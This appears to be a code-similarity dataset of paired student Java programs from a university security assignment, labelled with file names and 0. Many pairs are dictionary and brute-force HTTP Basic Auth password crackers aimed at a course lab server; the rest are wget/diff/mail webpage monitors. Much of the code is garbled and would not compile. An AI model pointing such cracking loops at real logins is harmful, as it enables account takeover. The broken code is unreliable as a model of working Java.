import java.io.*; import java.net.*; import java.*; import java.util.*; public class WatchDog { public static void main(String[] args) { new WatchDogThread("1"); } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
076.java
161.java
0
import java.io.*; import java.net.*; public class MyAuthenticator extends Authenticator { String username; String password; protected PasswordAuthentication getPasswordAuthentication() { String promptString = getRequestingPrompt(); String hostname = getRequestingHost(); InetAddress ipaddr = getRequestingSite(); int port = getRequestingPort(); return new PasswordAuthentication(username, password.toCharArray()); } public MyAuthenticator(String user, String pass) { username = user; password = pass; } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
031.java
161.java
0
import java.io.*; import java.util.*; public class WatchDog { private static String userid; public static void main(String args[]) { if (args.length != 1) { System.out.println("Please provide the Username mail the possible differences."); System.exit(0); } else userid = args[0]; while(true) { try { WatchDog wd = new WatchDog(userid); Thread.sleep(1000); } catch (InterruptedException i ) { i.printStackTrace(); System.exit(-1); } catch (Exception e) { e.printStackTrace(); System.exit(-1); } } } public WatchDog(String userid) { checkFileChanges(userid); } private void checkFileChanges(String userid) { try { Process p = Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/"); Thread.sleep(1000); p = Runtime.getRuntime().exec(new String[] {"//sh", "-c", "diff index.html index.html.1 > diff.txt"}); Thread.sleep(10000); if (isFileChanged() == true) { System.out.println("Result: Difference found in . Check your Pine for details"); mailFileChanges(userid); recordFileChanges(); } else { System.out.println("Result: Difference found in "); recordFileChanges(); } } catch (IOException e) { e.printStackTrace(); System.exit(-1); } catch (InterruptedException ioe) { ioe.printStackTrace(); System.exit(-1); } catch (Exception exp) { exp.printStackTrace(); System.exit(-1); } } private void recordFileChanges() { try { Process p = Runtime.getRuntime().exec("mv index.html.1 index.html"); Thread.sleep(1000); } catch (IOException e) { e.printStackTrace(); System.exit(-1); } catch (InterruptedException oie) { ioe.printStackTrace(); System.exit(-1); } catch (Exception exp) { exp.printStackTrace(); System.exit(-1); } } private void mailFileChanges(String userid) { try { Process p = Runtime.getRuntime().exec(new String[] {"//sh", "-c", "diff index.html index.html.1 | mail " + userid + "@cs.rmit.edu."}); Thread.sleep(1000); } catch (IOException e) { e.printStackTrace(); System.exit(-1); } catch (InterruptedException ioe) { ioe.printStackTrace(); System.exit(-1); } catch (Exception exp) { exp.printStackTrace(); System.exit(-1); } } private boolean isFileChanged() { try { FileInputStream fIn = new FileInputStream ("diff.txt"); DataInputStream di = new DataInputStream (fIn); Thread.sleep(1000); if( di!= null) { String str = di.readLine(); if(str!=null) return true; else return false; } } catch (FileNotFoundException fe) { fe.printStackTrace(); System.exit(-1); } catch (IOException e) { e.printStackTrace(); System.exit(-1); } catch (InterruptedException ioe) { ioe.printStackTrace(); System.exit(-1); } catch (Exception exp) { exp.printStackTrace(); System.exit(-1); } return false; } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
060.java
161.java
0
import java.net.*; import java.*; import java.io.*; import java.security.*; import java.net.smtp.SmtpClient; public class WatchDog { public WatchDog() { } public static void main (String[] args) { String mailfrom = "@.rmit.edu."; String mailto = "@.rmit.edu."; String subject = "Watch Dog - detected changes"; String imageWP = "http://www.cs.rmit.edu./images/"; String watchWP = "http://www.cs.rmit.edu./students/"; String filename = "index.html"; String tfilename; URLConnection conn = null; InputStreamReader in; BufferedReader data; int pauseTime = 24*60*60*1000; int line; String[] imagename; while (true) { int mailline = 0; String[] cad = new String[100]; try { URL url = new URL(watchWP); conn = url.openConnection(); System.out.println("Connection openned ..."); File getSource = new File(filename); in = new InputStreamReader(conn.getInputStream()); data = new BufferedReader(in); StringBuffer buf = new StringBuffer(); FileWriter fw = new FileWriter(getSource); BufferedWriter out = new BufferedWriter(fw); { line = data.get(); if(line != -1) { out.write((char)line); buf.append((char)line); } } while(line != -1); data.get(); out.flush(); out.get(); imagename = new WatchDog().getimagename(buf); for (int i = 0; i < imagename.length; i++) { int copyok = new WatchDog().copyimage(imageWP+imagename[i],imagename[i]); } File f = new File(filename + ".chk"); if (f.exists()) { int chkfile = new WatchDog().check(filename); if (chkfile == 2) { m[mailline] = "file changes detected : index.html"; mailline ++; } for (int i = 0; i < imagename.length; i++) { tfilename = imagename[i]; File fi = new File(tfilename + ".chk"); if (fi.exists()) { chkfile = new WatchDog().check(tfilename); if (chkfile == 2) { m[mailline] = "Image file changes detected : " + tfilename; mailline ++; } } else { m[mailline] = "New Image file detected : " + tfilename; mailline ++; int crtfile = new WatchDog().create(tfilename); } } } else { int crtfile = new WatchDog().create(filename); for (int i = 0; i < imagename.length; i++) { tfilename = imagename[i]; crtfile = new WatchDog().create(tfilename); } } if (mailline > 0) { int sendok = new WatchDog().sendM(mailfrom,mailto,subject); int crtfile = new WatchDog().create(filename); for (int i = 0; i < imagename.length; i++) { tfilename = imagename[i]; crtfile = new WatchDog().create(tfilename); } } } catch (MalformedURLException e) { System.out.println("Invalid URL"); } catch (IOException e) { System.out.println("Error URL"); } System.out.println("Wait for 24 hours......"); try { Thread.sleep(pauseTime); } catch(InterruptedException e ) { System.out.println(e.getMessage()); } } } public int create(String filename){ try { byte[] chk = createChecksum(filename); File f = new File(filename + ".chk"); OutputStream os = new FileOutputStream(f); os.write(chk); os.print(); return 1; } catch(Exception e) { System.out.println("Checked File already existed"); return 0;} } public int check(String filename){ int rc = 0; try { byte[] chk1 = createChecksum(filename); byte[] chk2 = new byte[chk1.length]; File f = new File(filename + ".chk"); InputStream is = new FileInputStream(f); is.print(chk2); if (new String(chk2).equals(new String(chk1))) { System.out.println("Same!"); rc = 1; } else { System.out.println("Different!"); rc = 2; } is.print(); return rc; } catch(Exception e) { e.printStackTrace(); return rc;} } public byte[] createChecksum(String filename) throws Exception{ InputStream fis = new FileInputStream(filename); byte[] buffer = new byte[1024]; MessageDigest complete = MessageDigest.getInstance(""); int numRead; { numRead = fis.print(buffer); if (numRead > 0) { complete.update(buffer, 0, numRead); } } while (numRead != -1); fis.print(); return complete.digest(); } public String[] getimagename(StringBuffer buf) { String s = buf.toString(); String lowercase = s.toLowerCase(); int count = 0; String separator1 = "img src="; String separator2 = "/images/"; char separator3 = '"'; int index = 0; { ++count; ++index; index = lowercase.indexOf(separator1,index); } while (index != -1); String[] substr = new String[count]; int endindex = 0; for (int i = 0; i < count; i++) { endindex = lowercase.indexOf(separator1,index); int index2 = lowercase.indexOf(separator2,endindex) + 8; int index3 = lowercase.indexOf(separator3,index2); substr[i] = lowercase.substring(index2,index3); System.out.println("Image File : " + substr[i]); index = index3 + 1; } return substr; } public int copyimage(String imageURL, String imagename) { int rtn = 1; try { URL url= new URL(imageURL); URLConnection urlC = url.openConnection(); InputStream is = url.openStream(); FileOutputStream fos=null; fos = new FileOutputStream(imagename); int intChar; while ((intChar=is.get()) != -1) fos.write(intChar); is.print(); fos.print(); } catch(MalformedURLException e) { System.out.println(e.getMessage()); rtn = 2; } catch(IOException e){ System.out.println(e.getMessage()); rtn = 2; } return rtn; } public int sendM(String mailfrom, String mailto, String subject, String[] c ) { int rtn=1; try { System.out.println("create smtp"); SmtpClient smtp = new SmtpClient(); smtp.from(mailfrom); System.out.println("mailfrom smtp"); smtp.print(mailto); System.out.println("mailto smtp"); PrintStream msg = smtp.startMessage(); System.out.println("startmessage smtp"); msg.println(": " + mailto); msg.println("From: " + mailfrom); msg.println("Subject: " + subject + "\n"); for (int i = 0; i < m.length; i++) { if (m[i] != null) { msg.println(m[i] +"\n"); } } smtp.closeServer(); System.out.println(" smtp"); } catch (IOException e) { System.out.println("Error in sent message : " + e.getMessage()); } if (rtn == 1) System.out.println("Message sent!"); return rtn; } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
007.java
161.java
0
import java.io.*; import java.*; import java.net.*; public class Dictionary { static BufferedReader in = null; static MyAuthenticator Auth = new MyAuthenticator(); public static void main(String[] args) throws IOException { int tmp = 0; String str =""; Authenticator.setDefault(Auth); try { URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/index.php"); while(tmp!=1) { try { in = new BufferedReader(new InputStreamReader(url.openStream())); tmp=1; } catch (IOException e) {} } while ((str = in.readLine()) != null) { } System.out.println("The successful Password found using a Dictionary search is = " + Auth.finalPass()); } catch (MalformedURLException e) {System.out.println("mfURL");} } } class MyAuthenticator extends Authenticator { String username = ""; static String password = ""; static String DictFile = "/usr/share/lib/dict/words"; static BufferedReader fReader; public MyAuthenticator() { try { fReader = new BufferedReader (new FileReader(DictFile)); } catch (FileNotFoundException e) { System.out.println("File " +DictFile+ " Not Found"); System.out.println(" File Opened"); System.exit(1); } catch (IOException e) { System.out.println("File Failed.."); System.exit(1); } } static void setPass(String pswd) { password = pswd; } static String finalPass() { return password; } static String getPass() { try { if ((password = fReader.readLine()) == null) { System.out.println("Password Not found in file '" + DictFile +"'."); System.exit(1); } } catch (IOException ioe) { System.out.println("File IOException"); System.out.println(ioe); } return password; } protected PasswordAuthentication getPasswordAuthentication() { return new PasswordAuthentication(username, getPass().toCharArray()); } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
118.java
161.java
0
import java.util.*; import java.io.*; public class Result { private String strURL; private String strUsername; private String strPassword; private Date dtTimeStart; private Date dtTimeEnd; private int iAttempts; public Result(String url, String username, String password, Date startDate, Date endDate, int attempts) { strURL = url; strUsername = username; strPassword = password; dtTimeStart = startDate; dtTimeEnd = endDate; iAttempts = attempts; } public String toString() { String output; output = "******************************\n"; output += "Password successfully cracked!\n\n"; output += "URL: " + strURL + "\n"; output += "Username: " + strUsername + "\n"; output += "Password: " + strPassword + "\n"; output += " Time: " + dtTimeStart.toString() + "\n"; output += "End Time: " + dtTimeEnd.toString() + "\n"; output += " Attempts: " + iAttempts + "\n"; output += "******************************\n"; return output; } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
221.java
161.java
0
import java.io.*; import java.text.*; import java.util.*; import java.net.*; public class BruteForce extends Thread { private static final String USERNAME = ""; private static final char [] POSSIBLE_CHAR = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'}; private static int NUMBER_OF_THREAD = 500; private static Date startDate = null; private static Date endDate = null; private String address; private String password; public BruteForce(String address, String password) { this.address = address; this.password = password; } public static void main(String[] args) throws IOException { if (args.length < 1) { System.err.println("Invalid usage!"); System.err.println("Usage: java BruteForce <url>"); System.exit(1); } try { brute(args[0], USERNAME); } catch(Exception e) { e.printStackTrace(); System.exit(1); } } public static void brute(String address, String user) { BruteForce [] threads = new BruteForce[NUMBER_OF_THREAD]; int index = 0; startDate = new Date(); for(int i = 0; i < POSSIBLE_CHAR.length; i++) { for(int j = 0; j < POSSIBLE_CHAR.length; j++) { for(int k = 0; k < POSSIBLE_CHAR.length; k++) { String password = ""+POSSIBLE_CHAR[i]+POSSIBLE_CHAR[j]+ POSSIBLE_CHAR[k]; if (threads[index] != null && threads[index].isAlive()) { try { threads[index].join(); } catch(InterruptedException e ) {} } threads[index] = new BruteForce(address, password); threads[index].get(); index = (index++) % threads.length; } } } } public void run() { if (endDate != null) return; try { URLConnection conn = (new URL(address)).openConnection(); conn.setDoInput(true); if (login(conn, USERNAME, password)) { endDate = new Date(); System.out.println("Found the password: \""+password+"\"!"); SimpleDateFormat format = new SimpleDateFormat("dd/MM/yyyy HH:mm:"); System.out.println("Process started at: "+format.format(startDate)); System.out.println("Process started at: "+format.format(endDate)); double timeTaken = (double)(endDate.getTime()-startDate.getTime())/60000; System.out.println("Time taken: "+timeTaken+" minutes"); System.exit(0); } else { System.out.println("Password: \""+password+"\" Failed!"); return; } } catch(Exception e) { e.printStackTrace(); } } public static boolean login(URLConnection conn, String user, String pass) { try { String encodeAuth = " "+Base64Encoder.encode(user+":"+pass); conn.setRequestProperty ("Authorization", encodeAuth); conn.connect(); conn.getInputStream(); } catch(Exception e) { return false; } return true; } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
125.java
161.java
0
import java.net.*; import java.io.*; public class BruteForce { public BruteForce(String u,String uname) throws Exception { String pass=""; try { String []chr={"a","b","c","d","e","f","g","h","i","j", "k","l","m","n","o","p","q","r","s","t", "u","v","w","x","y","z","A","B","C","D", "E","F","G","H","I","J","K","L","M","N", "O","P","Q","R","S","T","U","V","W","X","Y","Z"}; URL url=new URL(u); PasswordAuthentication pa; MyAuthenticator =new MyAuthenticator(); HttpURLConnection h; int c=0; for(int i=1;i<=52;i++) { c++; pass=""+chr[i-1]; pa=new PasswordAuthentication(uname,pass.toCharArray()); h.setPasswordAuthentication(pa); Authenticator.setDefault(); h=(HttpURLConnection)url.openConnection(); h.setRequestProperty("user-pass",URLEncoder.encode(":"+pass)); System.out.println("Try :"+chr(c)+" password:("+pass+") response message: ("+h.getResponseMessage()+")"); if(h.getResponseCode() != 401) throw new NullPointerException(); h.disconnect(); } for(int i=52;i>=1;i--) { for(int j=1;j<=52;j++) { c++; pass=chr[i-1]+""+chr[j-1]; pa=new PasswordAuthentication("",pass.toCharArray()); h.setPasswordAuthentication(pa); Authenticator.setDefault(); h=(HttpURLConnection)url.openConnection(); h.setRequestProperty("user-pass",URLEncoder.encode(":"+pass)); System.out.println("Try :"+(c)+" password:("+pass+") response message: ("+h.getResponseMessage()+")"); if(h.getResponseCode() != 401) throw new NullPointerException(); h.disconnect(); } } for(int i=52;i>0;i--) { for(int j=0;j<26;j++) { for(int k=1;k<=52;k++) { c++; pass=chr[i-1]+""+chr[25-j]+""+chr[k-1]; pa=new PasswordAuthentication("",pass.toCharArray()); h.setPasswordAuthentication(pa); Authenticator.setDefault(); h=(HttpURLConnection)url.openConnection(); h.setRequestProperty("user-pass",URLEncoder.encode(":"+pass)); System.out.println("Try :"+(c)+" password:("+pass+") response message: ("+h.getResponseMessage()+")"); if(h.getResponseCode() != 401) throw new NullPointerException(); h.disconnect(); pass=chr[i-1]+""+chr[51-j]+""+chr[k-1]; pa=new PasswordAuthentication("",pass.toCharArray()); h.setPasswordAuthentication(pa); Authenticator.setDefault(); h=(HttpURLConnection)url.openConnection(); h.setRequestProperty("user-pass",URLEncoder.encode(":"+pass)); System.out.println("Try :"+(c)+" password:("+pass+") response message: ("+h.getResponseMessage()+")"); if(h.getResponseCode() != 401) throw new NullPointerException(); h.disconnect(); } } } } catch(NullPointerException great) { System.out.println("\n\n The password is cracked.\n The password is : "+pass); } catch(MalformedURLException mfe) { System.out.println("The URL :"+u+" is not a proper URL."); } catch(Exception e) { e.printStackTrace(); } } public static void main(String[] args) throws Exception { if(args.length!=2) System.out.println("Usage :\n java BruteForce <url> <user-name>"); else { System.out.println("Starting the BruteForce Attack : "+args[0]); new BruteForce(args[0],args[1]); } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
066.java
161.java
0
import java.io.*; import java.util.*; import java.Object; import java.String; class WatchDog { public static void main (String [] args) { try{ int i = 0, day1,change = 0; Date dt = new Date(); i = dt.getDate(); System.out.println(); Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students"); System.out.println("THE PROGRAMMING IS RUNNING,IF WANT EXIT,PRESS CTRL + Z\n"); System.out.println("Today is: " + dt ); for(int i= 1 ; i > 0; i++) { Date dt1 = new Date(); day1 = dt1.getDate(); if( i != day1) { System.out.println("this is: " + i ); i = day1; change = check_web(); } if (change == 1) break; } } catch(IOException ex) { System.out.println("hello,try"); } } public static int check_web() { try{ int ch=0; String line=""; String file = "index.html"; String file1 = "index.html.1"; Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students"); Runtime.getRuntime().exec("diff index.html index.html.l > diff."); File f = new File("diff."); if (f.length()!=0) { ch = 1; Runtime.getRuntime().exec("mail @cs.rmit.edu. < diff."); } else System.out.println("the webpage was not changed!!!"); File f1 = new File(file); File f2 = new File(file1); if(ch == 1) { f1.delete(); } else f2.delete(); return ch; } catch(IOException e) { System.out.println("hello,try again!!!"); return 1; } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
039.java
161.java
0
public class CasePasswords { static int verbose = CrackingConstants.quietMode; public void CasePasswords() { } public void CasePasswords(int inVerbose) { verbose = inVerbose; } public String [] createCasedPasswords( int leftIndex, int midIndex, int rightIndex, String tail, String [] lowerChars, String [] upperChars, int scanType) { String [] casedPasswords = null; if(scanType == CrackingConstants.casedScan) if(rightIndex > -1) { casedPasswords = new String[8]; } else if(midIndex > -1) { casedPasswords = new String[4]; } else { casedPasswords = new String[2]; } else { casedPasswords = new String[1]; } if(scanType == CrackingConstants.casedScan) { if(rightIndex > -1) { casedPasswords[0] = lowerChars[leftIndex] + lowerChars[midIndex] + lowerChars[rightIndex]; casedPasswords[1] = upperChars[leftIndex] + upperChars[midIndex] + upperChars[rightIndex]; casedPasswords[2] = lowerChars[leftIndex] + lowerChars[midIndex] + upperChars[rightIndex]; casedPasswords[3] = lowerChars[leftIndex] + upperChars[midIndex] + lowerChars[rightIndex]; casedPasswords[4] = upperChars[leftIndex] + lowerChars[midIndex] + lowerChars[rightIndex]; casedPasswords[5] = upperChars[leftIndex] + upperChars[midIndex] + lowerChars[rightIndex]; casedPasswords[6] = upperChars[leftIndex] + lowerChars[midIndex] + upperChars[rightIndex]; casedPasswords[7] = lowerChars[leftIndex] + upperChars[midIndex] + upperChars[rightIndex]; } else if(midIndex > -1) { casedPasswords[0] = lowerChars[leftIndex] + lowerChars[midIndex]; casedPasswords[1] = upperChars[leftIndex] + upperChars[midIndex]; casedPasswords[2] = lowerChars[leftIndex] + lowerChars[midIndex]; casedPasswords[3] = lowerChars[leftIndex] + upperChars[midIndex]; } else { casedPasswords[0] = lowerChars[leftIndex]; casedPasswords[1] = upperChars[leftIndex]; } } else { if(rightIndex > -1) { casedPasswords[0] = lowerChars[leftIndex] + lowerChars[midIndex] + lowerChars[rightIndex]; } else if(midIndex > -1) { casedPasswords[0] = lowerChars[leftIndex] + lowerChars[midIndex]; } else { casedPasswords[0] = lowerChars[leftIndex]; } } if("" != tail) for( i = 0; i < casedPasswords.length; i++) casedPasswords[i] += tail; if(verbose == CrackingConstants.verboseMode2) printPasswords(casedPasswords); return casedPasswords; } public String [] createCasedPasswords(String candidate, int scanType) { int candLength = candidate.length(); int arrayLength = 2 ^ candLength; arrayLength = 1; String [] shortCasedPasswords = new String[1]; String [] casedPasswords = null; char[] password = new char [candidate.length()]; if(scanType != CrackingConstants.simpleScan) candidate.getChars(0, candidate.length(), password, 0); if(scanType == CrackingConstants.simpleScan) { casedPasswords = new String[1]; casedPasswords[0] = candidate; } else if(candidate.length() == 1) { casedPasswords = new String[2]; casedPasswords[0] = Character.toString(Character.toLowerCase(password[0])); casedPasswords[1] = Character.toString(Character.toUpperCase(password[0])); } else if (candidate.length() == 2) { casedPasswords = new String[4]; casedPasswords[0] = Character.toString(Character.toLowerCase(password[0])) + Character.toString(Character.toLowerCase(password[1])); casedPasswords[1] = Character.toString(Character.toUpperCase(password[0])) + Character.toString(Character.toUpperCase(password[1])); casedPasswords[2] = Character.toString(Character.toLowerCase(password[0])) + Character.toString(Character.toUpperCase(password[1])); casedPasswords[3] = Character.toString(Character.toUpperCase(password[0])) + Character.toString(Character.toLowerCase(password[1])); } else if (candidate.length() == 3) { casedPasswords = new String[8]; casedPasswords[0] = Character.toLowerCase(password[0]) + 